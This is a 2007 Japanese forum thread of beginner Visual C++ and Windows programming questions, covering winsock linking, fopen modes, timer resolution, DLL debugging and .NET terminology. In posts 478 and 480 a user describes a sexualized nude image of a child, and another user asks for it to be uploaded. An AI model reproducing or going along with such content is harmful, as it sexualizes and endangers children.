358 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 16:30:17 ] というより、C/C++の規格でそうなると定められているためと言ったほうがいいと思う。
359 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 16:33:10 ] どうだろね。 仕組みから入ったほうが、そう決まってるからそうなんだ、より納得いくかもしれんし
360 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 17:01:56 ] 実装がそうだからそれが正しいという保証はどこにもない
361 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 17:25:43 ] 逆にこれは実装が先にあって仕様が追いついた例でもあるな。 構造体のコピーも似たようなもの。
362 名前:デフォルトの名無しさん mailto:age [2007/02/07(水) 18:49:23 ] VC++7.0でライブラリファイルをリンクする方法を教えてください winsockライブラリを使いたいのでお願いします
363 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 19:23:53 ] #pragma comment(lib, "Mswsock.lib")
364 名前:269 mailto:sage [2007/02/08(木) 08:10:55 ] 269です。たびたび申し訳ありません。 SDK入れてWindowsアプリが作れるようになったんですが、ダイアログやアクセレータ等の リソーススクリプトファイル(.rc)をエディットするResEditorがついてないみたいなので断念しそうです。 というかそれが目的だったので。 Windowsフォーム(.h)は作れるみたいですがどうしていいのかわかんないです。 Visual Studio 2005 Academic Editionだったらリソーススクリプトファイル(.rc)の作成は可能でしょうか? 可能ならば購入したいと思います。よろしくお願いします。
365 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 10:01:56 ] MSに訊け
366 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 10:07:23 ] >>363 ありがとうございます
367 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 10:35:00 ] >>364 可能だがフリーのエディタもあるよ
368 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 11:04:04 ] メモ帳でええがな
369 名前:デフォルトの名無しさん [2007/02/08(木) 11:50:13 ] VisualStudio2005C++ExpressEditionにて #include "stdafx.h" #include"stdio.h" int _tmain(int argc, _TCHAR* argv[]) { FILE *fp=fopen("d:/test.txt","rw"); というコードを書きました。 FILE文付近で「〜Expression:(Invalid file open mode",0)〜」 というダイアログボックスがでます。 CRTセキュリティ強化されたためということですが、このセキュリティを 弱くしたいと思います。どのようにすればよいですか?
370 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 11:50:39 ] WinSockのAPIを使ってphpから文字列を取得することはできますか?
371 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 12:12:23 ] >>369 セキュリティ強化用の関数が追加されたけど 標準関数の仕様はかわらないのでは?
372 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 12:18:22 ] >>370 プロトコル次第
373 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 12:20:17 ] >>372 httpなんですが あとサーバーに送る文字列の改行コードは\nで大丈夫でしょうか?
374 名前:デフォルトの名無しさん [2007/02/08(木) 13:09:22 ] >>371 標準関数の仕様はかわらないのでは? たぶんそうだと思うのですがうまくいかないです。
375 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 13:18:46 ] エラー通り"rw"が悪い
376 名前:デフォルトの名無しさん [2007/02/08(木) 14:04:09 ] >>275 VisualStudio2003だとうまくいくのですが、 構文的にrwなんてつけたらだめなのですか?
377 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 15:05:50 ] unicodeかなんかじゃないの?
378 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 15:56:14 ] "rw" なんてのは無い
379 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 16:37:09 ] MSDNこういう例ものってるし "rw" もあるだろ msdn2.microsoft.com/ja-jp/library/yeby3zcb (VS.80).aspx fopen("newfile.txt", "rw, ccs=<encoding>");
380 名前:デフォルトの名無しさん [2007/02/08(木) 17:11:52 ] 多分すごい有名な 「新VisualC++6.0入門ビギナー編 林春比古署 ソフトバンク社」 を使って今勉強中なんですが、 241ページのサンプルプログラムで、 CPenクラスのオブジェクトのポインタ、’oldPen’ってゆうのを、 ’旧ペン’と銘打って保存って書いてありますが、 これをする意味がわかりません。 わざわざポインタでなぜ確保しているのでしょうか? pDC->SelectObject(&CPen型Object)で選択して書くだけなのに、 別に’旧ペン’を保存しておく必要があるのでしょうか? 私が簡単に確認した程度では、 oldPen 自体設定しなくても実行可能でしたし、 最後に’旧ブラシに戻す’ってゆう作業もなくても問題ありませんでした。 他にもいろいろ記述してoldPenの有用な使い方を検証しましたが、 やればやるほど意味がないのではという考えに傾きます。 大変限定的な質問ですが、 よければ本を持ってる方、もしくはよく知ってらっしゃる方でわかる方がいれば 教えていただけないでしょうか?
381 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:21:08 ] MSDNのサンプルだとこんな感じだね void CMyView::OnDraw( CDC* pDC ) { CPen penBlack; // Construct it, then initialize if( newPen.CreatePen( PS_SOLID, 2, RGB(0,0,0) ) ) { // Select it into the device context // Save the old pen at the same time CPen* pOldPen = pDC->SelectObject( &penBlack ); // Draw with the pen pDC->MoveTo(...); pDC->LineTo(...); // Restore the old pen to the device context pDC->SelectObject( pOldPen ); } else { // Alert the user that resources are low } }
382 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:24:47 ] forums.belution.com/ja/vc/000/049/00.shtml メモリ上のDCは元に戻すべきか?
383 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:24:47 ] >>380 ttp://msdn2.microsoft.com/en-us/library/ms533272.aspx >An application should always replace a new object with the original, default object after it has finished drawing with the new object.
384 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 17:28:50 ] げ、マルチか
385 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 18:10:14 ] だな pc10.2ch.net/test/read.cgi/tech/1164787254/200-
386 名前:デフォルトの名無しさん mailto:sage [2007/02/08(木) 18:56:26 ] >>379 VS2005でソースみてみな
387 名前:デフォルトの名無しさん [2007/02/08(木) 20:16:15 ] プログラムからtabindexの設定をするには?
388 名前:デフォルトの名無しさん [2007/02/08(木) 20:20:28 ] >>369 >>379 C/C++の標準規格としては"rw"なんてありません。 標準で認められているのは"r", "w", "a", "r+", "w+", "a+"及び それにバイナリモードのbを2-3文字目(+とは順不同)に入れたもののみです。 勿論Visual C++はViusal C++で色々と独自に拡張はしていますが。
389 名前:デフォルトの名無しさん [2007/02/10(土) 17:51:19 ] WinSockでhttpsを扱えますか?
390 名前:デフォルトの名無しさん mailto:sage [2007/02/10(土) 18:07:09 ] 扱えるかどうかと言えば扱える ソケットとプロトコルは関係ない 要はアプリケーションがWinSockを使ってSSL通信できるように作ればいい
391 名前:デフォルトの名無しさん [2007/02/10(土) 18:49:44 ] >>390 ありがとうございます少し調べてみます
392 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 01:39:25 ] 【初心者歓迎】C/C++室 Ver.34【環境依存OK】 で聞いたらスレ違いという事でここでオナガイシマス VC6ですCtrl + Fで検索ダイアログを開いた時過去に検索した文字が出せますが 便利ですが間違えた検索単語を間違えたときの文字も残っています 一度まっさらにするにはどうしたら良いですか?
393 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 06:19:07 ] パソコン初心者だろうか?
394 名前:デフォルトの名無しさん [2007/02/11(日) 09:42:36 ] WinFormsのTextBoxで、 テキストの行がコントロールからはみ出たら最終行がきちんと見えるように オートスクロールさせたいのですが デザイナ内にもそれらしき設定はなさそうですし、 マニュアルでプロパティを調べてもそれっぽいものが見当たりません。 どうしたらいいでしょうか? AutoScrollOffsetってのがそうですか? なんかPointでスクロール先を指定するみたいですが、 もしこれがそうなら使い方が良く分からないので教えてください。
395 名前:394 mailto:sage [2007/02/11(日) 10:10:49 ] とりあえず格好悪いですが textBox->SelectAll(); textBox->ScrollToCaret(); でできました。
396 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 12:27:54 ] ヒント ・オートスクロールが有効になっている場合、自動的にキャレットのある位置が表示されるようにスクロールされる ・TextBox::SelectionStartが現在のキャレットの位置
397 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 14:46:27 ] 392ですがどうしたら消せる?
398 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 15:02:24 ] レジストリ辺りにでも保存されてるんじゃねーかな。 もしくは再インストール。
399 名前:デフォルトの名無しさん [2007/02/11(日) 23:32:04 ] Lap[Count - 1] + Step > (Lap[Count] = GetTickCount()) );/* case 2: の timeGetTime の部分*/ Stepが0以外だとStepに関わらず、このループを抜けるのに15ms以上もかかってしまいます。(Lap配列の数値を見て) 最初のtimeGetTimeの10万回ループは47msで遅いわけでもないですし、そもそもtimeGetTimeだとうまく動くのです。 どうしたらよいのでしょうか。
400 名前:デフォルトの名無しさん mailto:sage [2007/02/11(日) 23:43:08 ] いったいそれのどのあたりがループなんだ?
401 名前:399 [2007/02/11(日) 23:50:06 ] >>400 ソースはってませんでした。 deaikei.biz/up/up/4549.zip.html pass:cpp #pragma comment(lib, "winmm.lib")を追加したら、 timeGetTime()とGetTickCount()の両方でうまく時間が出てこなくなってしまいました。 元に戻してもダメなので、ビルドする度に違うのかもしれません…
402 名前:デフォルトの名無しさん mailto:sage [2007/02/12(月) 00:07:11 ] まず、ビジーループ氏ね それに、timeGetTimeのNTでの規定精度は「5ms以上」 ついでに、強制コンテキストスイッチの間隔もある。
403 名前:399 [2007/02/12(月) 00:29:54 ] >>402 試しに比較したかっただけなので、ループの方は勘弁してください。 timeBeginPeriodで精度を1msに調整しても結局GetTickCountで同様の症状になってしまいます。 コンテキストスイッチの待ち時間は10msを超えるようなものでしたっけ?
404 名前:デフォルトの名無しさん mailto:sage [2007/02/12(月) 02:17:41 ] GetTickCountのヘルプ読んだか? 家のPCだと100ns単位で156250、約16ms程度の解像度だぞ。
405 名前:デフォルトの名無しさん mailto:sage [2007/02/12(月) 08:24:06 ] 普通1/60秒だからそんなもんだね。
406 名前:399 mailto:sage [2007/02/12(月) 19:24:33 ] >>404-405 ようやく理解できました。 Sleep(0)ループのようにタイマー割り込みを待つのですね… GetSystemTimeAdjustmentで測ってみたら15.625msでした。
407 名前:デフォルトの名無しさん [2007/02/13(火) 12:47:54 ] CString型のメンバ変数strに文字列をいれていたのに 突然中身がなくなるというかデバッグ時にみると不適切なptr となってアドレスは0を指しているようでした 関数から関数を呼び出してさらに関数をよびだしていきどんどん奥にいくと この現象が起きたのですが これはスタックオーバーフローというものですか? 解決策を教えてください
408 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 12:49:09 ] >>407 関数一個ずつ丹念にデバッガで追っていくのが無難かな。 スタックオーバーフローにしろ領域破壊にしろ、どっかで誰かがなんかやってるだろうから。
409 名前:デフォルトの名無しさん [2007/02/13(火) 13:00:34 ] >>408 ありがとうございます!! strncpyで領域破壊を起こしていました すごく助かりました!!
410 名前:デフォルトの名無しさん [2007/02/13(火) 14:14:12 ] 私はもともとC++Builder出身なのですが VB6で、あるアプリを作成しています。 このアプリは、主処理のほとんどが MS.NET Framework1.1 VC++.NET で生成されたDLLで行われています。 このDLLをステップ実行やインスペクタでデバグしたいのです が、親アプリがVBなので、どうやってデバグしたら良いやら 困り果ててます。 どなたかVC++のDLLのデバグ方法を伝授してください… できれば簡単なやつで。
411 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 14:50:21 ] ソースとデバッグ版DLLとpdbファイルがあればおk
412 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 14:54:59 ] ソース、デバッグ版DLL、pdbファイルあります! もちょっとだけ具体的に教えてもらえないでしょうか…
413 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 15:32:24 ] それって開発環境そのまま? 途中で止めてアタッチする手もあるが、環境あるなら DLLのデバッグ開始すると、実行時にEXE指定しろって言ってくるから それでそのEXE指定すればいいと思う。 デバッグしたいとこはブレークポイント設定しておけばいいし。
414 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 15:35:06 ] もしVB側もデバッグしてるのなら、関数呼び出し時にステップインで DLLとPDBが同じとこにあればソースの場所聞いてくると思うので そこでソース選べば追えると思うけど、、、 VB呼び出しはもしかしたら違うかもしれん、、、 C/C++からの呼び出ししかやったことないんで。 もしだめなら試すから言ってくれ
415 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 18:25:23 ] >>413-414 丁寧なご回答ありがとうございます。 でもまだちょっと分かってないです… DLLですが、メイク時に実行すると 「ActiveXコントロールテストコンテナ」というのが 出ます。 これかのことか!?と思ったのですが、EXE指定はできないっぽいです。 >>414 さんの方法は今がんがってる最中です…
416 名前:デフォルトの名無しさん [2007/02/13(火) 20:56:40 ] 質問です。 学校で使っている描画のプログラム(?)をVC++6.0で使いたいと思い、 ヘッダーファイルとライブラリファイルを Microsoft Visual Studio\VC98 のIncludeフォルダとLibフォルダにそれぞれ入れ、 プログラムをコンパイルしたのですが、 warning LNK4003: ライブラリの形式が無効です; ライブラリは無視されます とエラーになってしまいます。 これと同様のことをBCC5.5でしても問題ありませんでした。 何か間違っているところがあれば是非教えてください。
417 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 21:01:20 ] ライブラリがBCC用なんだろ。
418 名前:418 mailto:sage [2007/02/13(火) 21:40:29 ] >>417 Win32 Static Libraryでプロジェクトを作りそこにライブラリソースを追加しビルドしました。 そしてできたライブラリファイルで再び試してみると、 ライブラリの形式が無効です このエラーはでなくなりましたが、 LNK2001 :外部シンボル"関数名"は未解決です このエラーは消えませんでした。 ライブラリファイルの作り方もよくわからなかったのですが合っているでしょうか?
419 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 21:41:53 ] "関数名"が、そのライブラリに入っているべきものなら、 どっか、あってないんだろ。
420 名前:デフォルトの名無しさん mailto:sage [2007/02/13(火) 22:36:39 ] .NETでダイアログベースで作ってます。 CRectとGetWindowRectを使用して自身の座標を得ることはできたのですが 自身と関係ないWindowの座標を得る場合にはどうしたらいいんでしょうか?
421 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 00:22:20 ] GetWindowRectだな。 必要とするウィンドウのハンドルを取得するべし。。 .NET Frameworks だけじゃ無理な気がしたので、WinAPI を使いましょう。
422 名前:デフォルトの名無しさん [2007/02/14(水) 12:19:22 ] エディットコントロールにintの中身を表示させるにはどうしたらいいんですか? 文字列は"”でできました。 変数だけ書いたらエラーでました。
423 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 12:33:45 ] 釣れますか?
424 名前:デフォルトの名無しさん [2007/02/14(水) 14:47:48 ] 編集制御->文字列 = 文字列にな〜れ(数値);
425 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 16:27:57 ] >>420 なぜ.NETでCRectとGetWindowRectが出てくる?
426 名前:デフォルトの名無しさん [2007/02/14(水) 17:05:59 ] VC6.0でベースがDIALOGか、SDIで出力結果をDOS窓に出す方法はあるんですか。 はじめからDOS窓アプリにしないとだめですか?
427 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:13:21 ] AllocConsole?
428 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:18:42 ] VC++プログラマーちょっとこい!! ex17.2ch.net/test/read.cgi/news4vip/1171440924/
429 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:31:05 ] CTypedPtrList<CObList, VALUE*>のSeqValueListを CTypedPtrList<CObArray, VALUE*>にする時ってどうすればいいんでしょうか? 下のがソースなんですが、やり方が良くわからない。。。orz CItemInfo::~CItemInfo(){ int iCount; POSITION pos; VALUE *pValue; m_pValueList = &m_SeqValueList; iCount = (int)m_pValueList->GetCount( ); pos = m_pValueList->GetHeadPosition( ); for( int i=0; i<iCount; i++ ){ pValue = m_pValueList->GetNext( pos ); delete pValue; } m_pValueList->RemoveAll(); m_pValueList = &m_ParValueList; iCount = (int)m_pValueList->GetCount( ); pos = m_pValueList->GetHeadPosition( ); for( int i=0; i<iCount; i++ ){ pValue = m_pValueList->GetNext( pos ); delete pValue; } m_pValueList->RemoveAll(); }
430 名前:426 [2007/02/14(水) 17:36:11 ] AllocConsole(); freopen("con", "w", stdout); printf("hello console\r\n"); //FreeConsole(); でできました。すみません。
431 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 17:54:01 ] エディタの背景を黒にカスタマイズしたいのですが、どこにもそんな項目がありません ちなみにヴァージョン6.0です
432 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 18:57:23 ] エディター?IDEのかな? ツールのオプションの書式の背景でない?
433 名前:420 mailto:sage [2007/02/14(水) 21:14:12 ] void CMyDlg::OnMouseMove(UINT nFlags, CPoint point) ってところでpointに入っててrectはサイズを知りたくて使ってただけでした、すみません。 クライアント座標はpointに入ってたのですがスクリーン座標を知るにはどうしたらいいんでしょうか? SetCapture()でクライアント領域外の座標は得れたんですがクライアントが中心になってしまっています。 よろしくお願いします。
434 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 21:20:59 ] ClientToScreen
435 名前:420 mailto:sage [2007/02/14(水) 22:51:21 ] >>434 できました、
436 名前:420 mailto:sage [2007/02/14(水) 22:56:32 ] できました、ありがとうございます!
437 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 23:09:02 ] >>433 それどうみても.NETでない。
438 名前:デフォルトの名無しさん mailto:sage [2007/02/14(水) 23:33:46 ] 俺たちはとんでもない勘違いをしていたようだ .NETとは、Visual Studio .Net 2003の省略形だったんだよ!
439 名前:デフォルトの名無しさん mailto:sage Ω<ナ [2007/02/15(木) 00:04:24 ] 2002 のことも忘れないで上げてください。
440 名前:420 mailto:sage [2007/02/15(木) 00:06:40 ] まさしくVisualStudio.Net2003の事です。 .NETとは違ったんでしょうか・・・すみません;
441 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 00:09:27 ] な……なんだってー!! ……職場にもいるけどな、そういうヒト。 さらにVisual Studio 2005のことも「ドットネット」って呼んでくれるから、 毎回頭の中で翻訳するのが大変。 例「C++でデバッグしていてドットネットが落ちるんだよな〜」「???」
442 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 00:41:29 ] >>440 .NETと言ったら普通.NET Frameworkのことを指す。 新規プロジェクトの中に.NETとか書かれたテンプレートがあるだろ。 それが.NET Frameworkを使うプロジェクトを作るのに使うテンプレート。 .NET Frameworkには大量のクラスライブラリが含まれているし、 Visual Studioではフォームエディタも使え、作るほうとしては充実しているが、 利用者に.NET Frameworkをインストールしてもらわないといけないのが、 一般的なアプリケーション開発ではネック。 XP SP2あたりから漏れなくインストールされるようになってきているけどね。
443 名前:デフォルトの名無しさん [2007/02/15(木) 10:44:29 ] Vistaで、インストールされているWindowsコンポーネントを確認すると .NET Frameworkっていうのがあった。 言い方が良くわからないけど、つまり.NETというのは単なる1つのAPI ってことで、開発環境を指しているのではない、ということ?
444 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 10:57:02 ] >>443 .NETの環境向けに開発できるのが、VS .NET
445 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 11:04:02 ] 初心者の場合は自分勝手な略語を使わないできちんと書けばいい ハードディスクのことをハードと呼ぶやつとか 本人はどういうつもりか知らんけど馬鹿にしか見えない。
446 名前:デフォルトの名無しさん [2007/02/15(木) 11:05:21 ] なるほど…。 Visual Studio .NETというのは、.NET Frameworkがインストールされている 端末向けの開発環境、ということか。 Windows Vistaには標準で.NET Frameworkがインストールされているけど、 XPはSP2を入れないと.NET Frameworkが入っていないから、 そういう端末を対象とするなら.NET Frameworkが入っているかいないかを 確認しなければならないということか。
447 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 11:10:29 ] Visual Studio .NETという名前だと .net専用と間違える人が多すぎるから Visual Studio .NETという名前は使われなくなった。
448 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 11:15:08 ] あ、俺も以前、ずっと勘違いしてたw .NETというくらいだからネットワーク=インターネット専用なんだろうな、俺には 関係ないなと…w
449 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 14:39:24 ] 逆にVisual Basicは2005でも.NETを付けておけば良かったのにと思う。 「Visual Basic .NET」 2005という具合にさ。
450 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 22:37:51 ] Visual Stadio2005 をインストールして VS2005 C++で #include <stdio.h> main() { int a; } をコンパイルすると error C4430: 型指定子がありません - int と仮定しました が出ます 今まではいけてたんですが、わかる方お願いします。
451 名前:デフォルトの名無しさん mailto:sage [2007/02/15(木) 22:55:09 ] int main(){ }
452 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 01:11:53 ] 関数の戻り値の型を省略できるのはCだけ。 たぶん拡張子をcにしたり、コンパイルオプションから/TPを外したりすれば、 (int抜きの)main()でも行けると思う。
453 名前:デフォルトの名無しさん [2007/02/16(金) 03:40:09 ] stringをintにするにはどうすれば?
454 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 03:47:10 ] >>453 cli::String なのか std::string なのかはっきりしろ。
455 名前:デフォルトの名無しさん [2007/02/16(金) 03:55:21 ] std::string
456 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:03:33 ] >>455 std::string s("123"); int i = atoi(s.c_str());
457 名前:デフォルトの名無しさん [2007/02/16(金) 04:07:03 ] >>456 それができないんですよ エラーがでます
458 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:08:59 ] エラーが出ますじゃないでしょ。 どんなエラーが出るのか言いなさいよ。
459 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:09:06 ] >>457 どんなエラーか書け
460 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:16:54 ] >>457 そんなんだから成長しないんですよ。
461 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:18:10 ] >>457 とっとと書けよ。あんぽんたん。
462 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 04:19:58 ] 同じ奴みたいだな。夜釣りの常習犯か。 pc10.2ch.net/test/read.cgi/tech/1169039760/877
463 名前:デフォルトの名無しさん [2007/02/16(金) 12:45:22 ] 設計でUMLを使ってる人いますか? マルチスレッドとかUMLで設計できますか?
464 名前:デフォルトの名無しさん mailto:sage [2007/02/16(金) 13:17:43 ] UMLは詳しく知らん身だけど アクティビティ図使えば表現できるんじゃねーかとは思う が、とりあえずスレ違いだ。
465 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 01:16:40 ] VC++でゲームを作ろうと考えてるんですが、オススメの入門書等ありませんか? 何件か書店回ってパラパラと立ち読みしてみたんですがどういうのが良いのか分からなくて困ってます。 やはり実用例があるC++でゲームを作るみたいな本が良いんでしょうか。 既出、スレ違いだったらすみませんorz
466 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 11:41:49 ] ゲ製作技術 pc10.2ch.net/gamedev/ 板違いやな ゲーム製作はC++だけと考えない方がいい。 どの程度の規模で何やりたいかによって、利用する言語は変わると思う。 ミニゲームであれば、HSP/Flashでも創れるし。
467 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 12:34:10 ] そもそもゲームって時点で入門を超えてる
468 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 12:41:30 ] 初等教育 算数 教養課程 数学 物理 C/C++ 専門課程 ゲーム製作
469 名前:デフォルトの名無しさん [2007/02/17(土) 16:22:37 ] 今、Visual C++ の入門書を探しています。 Cの文法は一通り理解しています。 本格的にWindowsプログラミングができるようになりたいので、 これから勉強を始めるつもりです。 数年前、ある先生から、 「Winアプリケーションを作れるようになるためには、 まずはWinAPIを理解→オブジェクト指向を理解→MFCを使ったプログラミング」 というような段階を踏んで勉強していくといい、と聞きました。 勧められた本が、山本信雄の「はじめてのプログラミング」(全3巻)で、 ほぼ上記の説明通りの構成で書かれている本らしいのですが、アマゾンで見てみたら 残念なことにこの本はVisualC++5.0/6.0向けらしいです。 現行のVC++2005は、6.0から「かなり変わった」と聞いているので、別の本を 買うしかないと思っています。 「2005になって、.NetFrameWorkのクラスを利用するプログラミングに変わって..」 と聞いても、私にはまだよくわからないのですが、前記の「API→オブジェクト指向→MFC」 という学習の進め方自体も、2005になってだいぶ変わったのでしょうか。 多少時間がかかっても構わないので、なるべく体系だった学習ができるような 入門書がいいのですが.... ちなみに最終的に作りたいものは、周辺機器のデバイスドライバのたぐいです。 もし色々な本を読んでいる方がおられましたら、よろしくお願いします。
470 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 17:09:09 ] Winアプリとデバイスドライバだとあんまり関連性ないよ
471 名前:469 [2007/02/17(土) 17:36:27 ] >470 すみません。「デバイスドライバ」という書き方では不十分でした。 周辺機器は、光学センサや超音波センサで空間把握をするための装置です。 通信されてきたデータをPC画面上でグラフィカルにモニターするためのWinアプリを 作りたいと思っています。そして、ドライバ周りも一緒にC++でコーディングできればと 考えています。
472 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 18:01:43 ] VisualC++2005なら5.0/6.0でできてた事はできるよ。 2005で「API→オブジェクト指向→MFC」という学習の進め方もできる。 かなり変わったというよりは、かなり機能が追加された。
473 名前:465 mailto:sage [2007/02/17(土) 18:34:36 ] >>466 少し探したのですが見つからなかったので助かりました。 そちらの方で聞いてみます。誘導ありがとうございました。
474 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 18:36:05 ] expressでapiの場合は リソースエディタやクラスウィザードとか使わないだろうし 2005の本にこだわる意味はないだろうね
475 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 19:20:02 ] VCは初心者向きじゃないから嫌ならVBやC#を使えということだな
476 名前:デフォルトの名無しさん mailto:sage [2007/02/17(土) 19:43:12 ] >>469 COMポートで繋ぐ程度ならデバイスドライバは要らない。 独自のカード経由&そのカードが仕様書しか無い、って話なら別だけど。 で、一つ言っておくなら「オブジェクト指向とMFCは一切関係が無い」。 MFCはWinAPIを手を抜いて使うためのラッパ。 あと、VC6のソースが2005で動かない病に良く効く呪文。 プロジェクト - プロパティ - 構成プロパティ - 文字セット - マルチバイト文字セットを使用する
477 名前:デフォルトの名無しさん [2007/02/17(土) 21:47:28 ] VC++.NET2003 でWindowsフォームアプリケーションを作っています。 以前コンソールアプリケーションで作成した、Mysqlのクライアントプログラムを 利用したいと考えていますが、mysql.hを追加すると下記のエラーが出ます。 mysql.hは利用できますか? Open.cpp WINVER not defined. Defaulting to 0x0501 (Windows XP and Windows .NET Server) c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2146: 構文エラー : ';' が、識別子 'fd' の前に必要です。 c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::SOCKET' : 識別名を宣言するのに、型が指定されていません。 c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::fd' : 識別名を宣言するのに、型が指定されていません。 c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2065: 'SOCKET' : 定義されていない識別子です。 c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2146: 構文エラー : ')' が、識別子 's' の前に必要です。 c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(359) : error C2059: 構文エラー : ')'
478 名前:デフォルトの名無しさん [2007/02/18(日) 03:29:49 ] C++builder5.0で、なんかの画像コンポーネントに、今手元にある 無毛でくっきり縦線・超美少女小学生のヌード写真(jpg)を貼り付 けたいのですがどうすればいいのかわかりません。 ウインドウの大きさと同期して画像のサイズも変わるようにしたい です。誰か教えてください。
479 名前:デフォルトの名無しさん [2007/02/18(日) 03:45:06 ] >>478 まず、その素敵な性癖を直せ。 話はそれからだ。
480 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 07:36:09 ] まず、その素敵な写真をうpれ。 話はそれからだ。
481 名前:ぶいしー [2007/02/18(日) 16:39:58 ] DLLのリソースIDについて質問させてください。 拡張DLL、レギュラーDLLともに、 呼び出すクライアントとのリソースIDの重複は気にするのでしょうか? あるサイトだと、拡張DLLはリソースIDの管理はMFCがやってくれる みたいなことがかかれていたので・・ どなたかご教授ください。
482 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 17:41:31 ] >>477 #include <mysql.h>の前に、#include <winsock.h>。もれはこれで 3ヶ月ほど悩んだ。
483 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 20:57:18 ] Visual Studio 2005なんですけど SystemParametersInfo(SPI_SETDESKWALLPAPER,NULL,"c:\\a.bmp",0); でコンパイルはいけるんですが、ソリューションのビルドで エラーになります "c:\a.bmp"でもだめです Vistaでもいけますよね? 解る方お願いします
484 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 20:59:14 ] >■質問するにあたって >・エラーや警告のときはエラーメッセージを書きましょう。
485 名前:デフォルトの名無しさん mailto:sage [2007/02/18(日) 21:21:25 ] >>483 です エラーが多いんで伏せてました リンクしています... aaa_ch.obj : error LNK2028: 未解決のトークン (0A000022) "extern "C" int __stdcall SystemParametersInfoW (unsigned int,unsigned int,void *,unsigned int)" (?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 " int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。 aaa_ch.obj : error LNK2019: 未解決の外部シンボル "extern "C" int __stdcall SystemParametersInfoW (unsigned int,unsigned int,void *,unsigned int)" (?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 "int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。 E:\C++\aaach\Debug\aaach.exe : fatal error LNK1120: 外部参照 2 が未解決です。 以上です、お願いします。
486 名前:デフォルトの名無しさん [2007/02/19(月) 11:11:35 ] 超初歩的な質問なのですが、 MS Visual C++ .NET で、IntToStr関数を使えないので他の方法を調べてます。 値を文字列に変換するにはどうしたら良いのでしょうか?
